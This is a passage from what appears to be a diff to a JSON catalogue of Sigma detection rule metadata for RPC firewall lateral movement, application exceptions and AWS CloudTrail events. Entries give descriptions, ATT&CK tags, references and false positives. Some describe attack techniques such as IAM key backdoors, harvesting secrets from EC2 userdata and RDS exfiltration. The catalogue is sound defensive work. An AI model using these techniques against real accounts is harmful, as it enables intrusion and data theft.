"attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_registry_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administration of registry values" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to collect information", + "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", + "value": "Remote Registry Recon", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_registry_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administration of registry values" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", + "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", + "value": "Remote Server Service Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_server_service_abuse.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Legitimate remote share creation" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", + "value": "Remote Server Service Abuse for Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1569/002/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1569.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_service_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Administrative tasks on remote services" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", + "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", + "value": "Remote Schedule Task Lateral Movement via SASec-", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sasec_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", + "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", + "value": "Remote Schedule Task Lateral Movement via SASec", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sasec_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", + "value": "SharpHound Recon Account Discovery", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1087/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" + ], + "tags": [ + "attack.t1087" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sharphound_recon_account.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", + "value": "SharpHound Recon Sessions", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" + ], + "tags": [ + "attack.t1033" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sharphound_recon_sessions.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", + "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", + "value": "Ruby on Rails Framework Exceptions", + "meta": { + "refs": [ + "http://edgeguides.rubyonrails.org/security.html", + "http://guides.rubyonrails.org/action_controller_overview.html", + "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", + "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/06", + "filename": "appframework_ruby_on_rails_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "ruby_on_rails" + } + }, + { + "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", + "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", + "value": "Spring Framework Exceptions", + "meta": { + "refs": [ + "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/06", + "filename": "appframework_spring_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "spring" + } + }, + { + "description": "Detects SQL error messages that indicate probing for an injection attack", + "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", + "value": "Suspicious SQL Error Messages", + "meta": { + "refs": [ + "http://www.sqlinjection.net/errors", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/11/27", + "filename": "app_sqlinjection_errors.yml", + "author": "Bjoern Kimminich", + "level": "high", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "sql" + } + }, + { + "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", + "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", + "value": "AWS Attached Malicious Lambda Layer", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2021/09/23", + "filename": "aws_attached_malicious_lambda_layer.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects disabling, deleting and updating of a Trail", + "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", + "value": "AWS CloudTrail Important Change", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/01/21", + "filename": "aws_cloudtrail_disable_logging.yml", + "author": "vitaliy0x1", + "level": "medium", + "falsepositive": [ + "Valid change in a Trail" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS Config Service disabling", + "uuid": "07330162-dba1-4746-8121-a9647d49d297", + "value": "AWS Config Disabling Channel/Recorder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/01/21", + "filename": "aws_config_disable_recording.yml", + "author": "vitaliy0x1", + "level": "high", + "falsepositive": [ + "Valid change in AWS Config Service" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", + "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", + "value": "AWS EC2 Disable EBS Encryption", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486", + "attack.t1565" + ], + "creation_date": "2021/06/29", + "filename": "aws_ec2_disable_encryption.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "System Administrator Activities", + "DEV, UAT, SAT environment. You should apply this rule with PROD account only." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", + "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", + "value": "AWS EC2 Download Userdata", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/11", + "filename": "aws_ec2_download_userdata.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Assets management software like device42" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", + "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", + "value": "AWS EC2 Startup Shell Script Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.004" + ], + "creation_date": "2020/02/12", + "filename": "aws_ec2_startup_script_change.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Valid changes to the startup script" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", + "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", + "value": "AWS EC2 VM Export Failure", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005", + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2020/04/16", + "filename": "aws_ec2_vm_export_failure.yml", + "author": "Diogo Braz", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", + "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", + "value": "AWS ECS Backdoor Task Definition", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", + "https://attack.mitre.org/techniques/T1525", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1525" + ], + "creation_date": "2022/06/07", + "filename": "aws_ecs_task_definition_backdoor.yml", + "author": "Darin Smith", + "level": "medium", + "falsepositive": [ + "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", + "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", + "value": "AWS EFS Fileshare Modified or Deleted", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/15", + "filename": "aws_efs_fileshare_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", + "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", + "value": "AWS EFS Fileshare Mount Modified or Deleted", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/15", + "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when an EKS cluster is created or deleted.", + "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", + "value": "AWS EKS Cluster Created or Deleted", + "meta": { + "refs": [ + "https://any-api.com/amazonaws_com/eks/docs/API_Description", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/16", + "filename": "aws_eks_cluster_created_or_deleted.yml", + "author": "Austin Songer", + "level": "low", + "falsepositive": [ + "EKS Cluster being created or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an ElastiCache security group has been created.", + "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", + "value": "AWS ElastiCache Security Group Created", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136", + "attack.t1136.003" + ], + "creation_date": "2021/07/24", + "filename": "aws_elasticache_security_group_created.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when an ElastiCache security group has been modified or deleted.", + "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", + "value": "AWS ElastiCache Security Group Modified or Deleted", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/07/24", + "filename": "aws_elasticache_security_group_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", + "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", + "value": "Account Enumeration on AWS", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1592" + ], + "creation_date": "2020/11/21", + "filename": "aws_enum_listing.yml", + "author": "toffeebr33k", + "level": "low", + "falsepositive": [ + "AWS Config or other configuration scanning activities" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", + "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", + "value": "AWS GuardDuty Important Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/02/11", + "filename": "aws_guardduty_disruption.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Valid change in the GuardDuty (e.g. to ignore internal scanners)" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", + "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", + "value": "AWS IAM Backdoor Users Keys", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2020/02/12", + "filename": "aws_iam_backdoor_users_keys.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", + "AWS API keys legitimate exchange workflows" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an user creates or invokes a lambda function.", + "uuid": "d914951b-52c8-485f-875e-86abab710c0b", + "value": "AWS Lambda Function Created or Invoked", + "meta": { + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2021/10/03", + "filename": "aws_lambda_function_created_or_invoked.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects evade to Macie detection.", + "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", + "value": "AWS Macie Evasion", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/macie/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "aws_macic_evasion.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "System or Network administrator behaviors" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects possible suspicious glue development endpoint activity.", + "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", + "value": "AWS Glue Development Endpoint Activity", + "meta": { + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2021/10/03", + "filename": "aws_passed_role_to_glue_development_endpoint.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the change of database master password. It may be a part of data exfiltration.", + "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", + "value": "AWS RDS Master Password Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/12", + "filename": "aws_rds_change_master_password.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Benign changes to a db instance" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", + "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", + "value": "Restore Public AWS RDS Instance", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/12", + "filename": "aws_rds_public_db_restore.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS root account usage", + "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", + "value": "AWS Root Credentials", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078.004" + ], + "creation_date": "2020/01/21", + "filename": "aws_root_account_usage.yml", + "author": "vitaliy0x1", + "level": "medium", + "falsepositive": [ + "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", + "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", + "value": "AWS Route 53 Domain Transfer Lock Disabled", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ], + "creation_date": "2021/07/22", + "filename": "aws_route_53_domain_transferred_lock_disabled.yml", + "author": "Elastic, Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", + "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", + "value": "AWS Route 53 Domain Transferred to Another Account", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ], + "creation_date": "2021/07/22", + "filename": "aws_route_53_domain_transferred_to_another_account.yml", + "author": "Elastic, Austin Songer 